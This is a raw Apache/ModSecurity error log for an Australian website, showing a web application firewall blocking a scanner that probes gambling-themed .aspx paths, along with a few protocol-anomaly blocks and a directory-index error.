[Sat Mar 14 21:37:45.004357 2026] [:error] [pid 61383:tid 61416] [client 51.77.216.212:43528] [client 51.77.216.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "abVkqS4SAn4TCd4o0dUNfgAAAQA"]
[Sat Mar 14 21:37:47.756648 2026] [:error] [pid 61383:tid 61435] [client 51.77.216.212:43536] [client 51.77.216.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "abVkqy4SAn4TCd4o0dUNgAAAARM"]
[Sat Mar 14 21:37:50.269604 2026] [:error] [pid 13151:tid 13157] [client 51.77.216.212:43552] [client 51.77.216.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "abVkrtbXrXQxFzrsw41vFwAAAIQ"]
[Sat Mar 14 21:37:52.753592 2026] [:error] [pid 13151:tid 13168] [client 51.77.216.212:46668] [client 51.77.216.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "abVksNbXrXQxFzrsw41vHAAAAI8"]
[Sat Mar 14 21:37:55.237717 2026] [:error] [pid 30154:tid 30174] [client 51.77.216.212:46676] [client 51.77.216.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "abVks16OP9woRgp3v0GQhwAAAM4"]
[Sat Mar 14 21:37:57.753739 2026] [:error] [pid 30154:tid 30175] [client 51.77.216.212:46684] [client 51.77.216.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "abVktV6OP9woRgp3v0GQkAAAAM8"]
[Sat Mar 14 21:38:00.166757 2026] [:error] [pid 61383:tid 61430] [client 51.77.216.212:46700] [client 51.77.216.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "abVkuC4SAn4TCd4o0dUNjgAAAQ4"]
[Sat Mar 14 21:38:02.646654 2026] [:error] [pid 61383:tid 61421] [client 51.77.216.212:36820] [client 51.77.216.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "abVkui4SAn4TCd4o0dUNlQAAAQU"]
[Sat Mar 14 21:38:05.162925 2026] [:error] [pid 13151:tid 13162] [client 51.77.216.212:36822] [client 51.77.216.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "abVkvdbXrXQxFzrsw41vJgAAAIk"]
[Sat Mar 14 21:38:07.888858 2026] [:error] [pid 13151:tid 13167] [client 51.77.216.212:36828] [client 51.77.216.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20soft.aspx"] [unique_id "abVkv9bXrXQxFzrsw41vKwAAAI4"]
[Sat Mar 14 21:38:10.403977 2026] [:error] [pid 58680:tid 58700] [client 51.77.216.212:36838] [client 51.77.216.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20th.aspx"] [unique_id "abVkwpesvz6ml-XzsmVKmwAAAVI"]
[Sat Mar 14 21:38:13.041905 2026] [:error] [pid 58680:tid 58697] [client 51.77.216.212:37726] [client 51.77.216.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "abVkxZesvz6ml-XzsmVKnAAAAU8"]
[Sat Mar 14 21:38:15.445645 2026] [:error] [pid 30154:tid 30168] [client 51.77.216.212:37742] [client 51.77.216.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "abVkx16OP9woRgp3v0GQpwAAAMg"]
[Sat Mar 14 21:38:58.786571 2026] [:error] [pid 61382:tid 61396] [client 51.77.216.212:37754] [client 51.77.216.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20888.aspx"] [unique_id "abVk8v5UUtpNLvwsJ7gCZQAAAAo"]
[Sat Mar 14 21:39:01.332332 2026] [:error] [pid 13151:tid 13162] [client 51.77.216.212:49252] [client 51.77.216.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20auto.aspx"] [unique_id "abVk9dbXrXQxFzrsw41vVwAAAIk"]
[Sat Mar 14 21:39:03.848421 2026] [:error] [pid 13151:tid 13167] [client 51.77.216.212:33730] [client 51.77.216.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20demo.aspx"] [unique_id "abVk99bXrXQxFzrsw41vWwAAAI4"]
[Sat Mar 14 21:39:06.383069 2026] [:error] [pid 61477:tid 61505] [client 51.77.216.212:33744] [client 51.77.216.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20free.aspx"] [unique_id "abVk-qcx6muYfIYRM7DUNAAAAFg"]
[Sat Mar 14 21:39:08.879366 2026] [:error] [pid 30154:tid 30163] [client 51.77.216.212:33758] [client 51.77.216.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "abVk_F6OP9woRgp3v0GRFAAAAMM"]
[Sat Mar 14 21:39:11.391419 2026] [:error] [pid 61477:tid 61497] [client 51.77.216.212:33768] [client 51.77.216.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20joker.aspx"] [unique_id "abVk_6cx6muYfIYRM7DUOwAAAFA"]
[Sat Mar 14 21:39:14.061697 2026] [:error] [pid 61383:tid 61427] [client 51.77.216.212:34754] [client 51.77.216.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20online.aspx"] [unique_id "abVlAi4SAn4TCd4o0dUN9AAAAQs"]
[Sat Mar 14 21:39:16.568213 2026] [:error] [pid 61383:tid 61432] [client 51.77.216.212:34760] [client 51.77.216.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "abVlBC4SAn4TCd4o0dUN_QAAARA"]
[Sat Mar 14 21:39:18.989600 2026] [:error] [pid 13151:tid 13160] [client 51.77.216.212:34776] [client 51.77.216.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "abVlBtbXrXQxFzrsw41vbwAAAIc"]
[Sat Mar 14 21:39:21.514280 2026] [:error] [pid 61383:tid 61426] [client 51.77.216.212:34786] [client 51.77.216.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "abVlCS4SAn4TCd4o0dUOAgAAAQo"]
[Sat Mar 14 21:39:23.832386 2026] [:error] [pid 30154:tid 30171] [client 51.77.216.212:44902] [client 51.77.216.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "abVlC16OP9woRgp3v0GRIwAAAMs"]
[Sat Mar 14 21:39:26.398310 2026] [:error] [pid 13151:tid 13162] [client 51.77.216.212:44904] [client 51.77.216.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "abVlDtbXrXQxFzrsw41vdQAAAIk"]
[Sat Mar 14 21:39:28.933638 2026] [:error] [pid 61477:tid 61502] [client 51.77.216.212:44918] [client 51.77.216.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "abVlEKcx6muYfIYRM7DUQwAAAFU"]
[Sat Mar 14 21:39:31.675620 2026] [:error] [pid 61477:tid 61487] [client 51.77.216.212:44932] [client 51.77.216.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "abVlE6cx6muYfIYRM7DUSwAAAEY"]
[Sat Mar 14 21:39:34.039855 2026] [:error] [pid 13151:tid 13174] [client 51.77.216.212:52900] [client 51.77.216.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "abVlFtbXrXQxFzrsw41vfAAAAJU"]
[Sat Mar 14 21:39:36.389327 2026] [:error] [pid 58680:tid 58692] [client 51.77.216.212:52902] [client 51.77.216.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "abVlGJesvz6ml-XzsmVKzQAAAUo"]
[Sat Mar 14 21:39:38.916790 2026] [:error] [pid 13151:tid 13168] [client 51.77.216.212:52910] [client 51.77.216.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "abVlGtbXrXQxFzrsw41vgwAAAI8"]
[Sat Mar 14 21:39:41.279572 2026] [:error] [pid 13151:tid 13153] [client 51.77.216.212:52912] [client 51.77.216.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spg%20slot.aspx"] [unique_id "abVlHdbXrXQxFzrsw41vhgAAAIA"]
[Sat Mar 14 21:39:43.696938 2026] [:error] [pid 13151:tid 13173] [client 51.77.216.212:52668] [client 51.77.216.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spx%20slot.aspx"] [unique_id "abVlH9bXrXQxFzrsw41vigAAAJQ"]
[Sat Mar 14 21:39:46.137370 2026] [:error] [pid 30154:tid 30167] [client 51.77.216.212:52678] [client 51.77.216.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "abVlIl6OP9woRgp3v0GRcwAAAMc"]
[Sat Mar 14 21:39:48.553502 2026] [:error] [pid 61383:tid 61431] [client 51.77.216.212:52682] [client 51.77.216.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20slot.aspx"] [unique_id "abVlJC4SAn4TCd4o0dUOEgAAAQ8"]
[Sat Mar 14 21:39:50.994575 2026] [:error] [pid 58680:tid 58701] [client 51.77.216.212:52688] [client 51.77.216.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "abVlJpesvz6ml-XzsmVK0gAAAVM"]
[Sat Mar 14 21:39:53.489164 2026] [:error] [pid 58680:tid 58684] [client 51.77.216.212:58742] [client 51.77.216.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "abVlKZesvz6ml-XzsmVK1gAAAUI"]
[Sat Mar 14 21:40:37.052726 2026] [:error] [pid 13151:tid 13173] [client 51.77.216.212:58748] [client 51.77.216.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "abVlVdbXrXQxFzrsw41vpgAAAJQ"]
[Sat Mar 14 21:40:39.456903 2026] [:error] [pid 61383:tid 61438] [client 51.77.216.212:58730] [client 51.77.216.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "abVlVy4SAn4TCd4o0dUOMgAAARY"]
[Sat Mar 14 21:40:41.918521 2026] [:error] [pid 58680:tid 58704] [client 51.77.216.212:58736] [client 51.77.216.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "abVlWZesvz6ml-XzsmVLAAAAAVY"]
[Sat Mar 14 21:40:44.250995 2026] [:error] [pid 58680:tid 58705] [client 51.77.216.212:35496] [client 51.77.216.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "abVlXJesvz6ml-XzsmVLAQAAAVc"]
[Sat Mar 14 21:40:46.662923 2026] [:error] [pid 30154:tid 30176] [client 51.77.216.212:35500] [client 51.77.216.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "abVlXl6OP9woRgp3v0GRvAAAANA"]
[Sat Mar 14 21:40:49.074531 2026] [:error] [pid 61383:tid 61421] [client 51.77.216.212:35502] [client 51.77.216.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "abVlYS4SAn4TCd4o0dUOPwAAAQU"]
[Sat Mar 14 21:40:51.597294 2026] [:error] [pid 61383:tid 61433] [client 51.77.216.212:35504] [client 51.77.216.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "abVlYy4SAn4TCd4o0dUOVgAAARE"]
[Sat Mar 14 21:40:54.088557 2026] [:error] [pid 13151:tid 13164] [client 51.77.216.212:49780] [client 51.77.216.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w69%20slot.aspx"] [unique_id "abVlZtbXrXQxFzrsw41vvAAAAIs"]
[Sat Mar 14 21:40:56.419716 2026] [:error] [pid 61477:tid 61495] [client 51.77.216.212:49794] [client 51.77.216.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "abVlaKcx6muYfIYRM7DUgAAAAE4"]
[Sat Mar 14 21:40:58.745184 2026] [:error] [pid 30154:tid 30184] [client 51.77.216.212:49800] [client 51.77.216.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we88%20slot.aspx"] [unique_id "abVlal6OP9woRgp3v0GRyAAAANg"]
[Sat Mar 14 21:41:01.043916 2026] [:error] [pid 61382:tid 61386] [client 51.77.216.212:49812] [client 51.77.216.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "abVlbf5UUtpNLvwsJ7gCpgAAAAA"]
[Sat Mar 14 21:41:03.513827 2026] [:error] [pid 30154:tid 30183] [client 51.77.216.212:56916] [client 51.77.216.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xo%20slot.aspx"] [unique_id "abVlb16OP9woRgp3v0GR0wAAANc"]
[Sat Mar 14 21:41:05.866182 2026] [:error] [pid 13151:tid 13174] [client 51.77.216.212:56930] [client 51.77.216.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "abVlcdbXrXQxFzrsw41vwwAAAJU"]
[Sat Mar 14 22:08:26.603297 2026] [:error] [pid 61383:tid 61420] [client 43.133.66.51:37064] [client 43.133.66.51] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "abVr2i4SAn4TCd4o0dUVUAAAAQQ"]
[Sun Mar 15 00:03:56.073064 2026] [autoindex:error] [pid 49351:tid 49360] [client 142.93.208.146:58937] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Sun Mar 15 00:47:32.526338 2026] [:error] [pid 19680:tid 20006] [client 43.133.187.11:51832] [client 43.133.187.11] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "abWRJEnhGahR8LEhCX-WqwAAAc4"]
[Sun Mar 15 02:21:58.852789 2026] [:error] [pid 19658:tid 19950] [client 182.44.12.37:55624] [client 182.44.12.37] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "abWnRlIS7ZSIcsV9BQqU_gAAAA0"]
[Sun Mar 15 03:06:41.690327 2026] [:error] [pid 19658:tid 19958] [client 216.73.216.44:55232] [client 216.73.216.44] ModSecurity: Warning. Pattern match "^$" at REQUEST_HEADERS:user-agent. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "120"] [id "217240"] [rev "3"] [msg "COMODO WAF: Empty User Agent Header||vetstars.com.au|F|5"] [data "REQUEST_HEADERS:user-agent="] [severity "NOTICE"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/robots.txt"] [unique_id "abWxwVIS7ZSIcsV9BQqdggAAABU"]
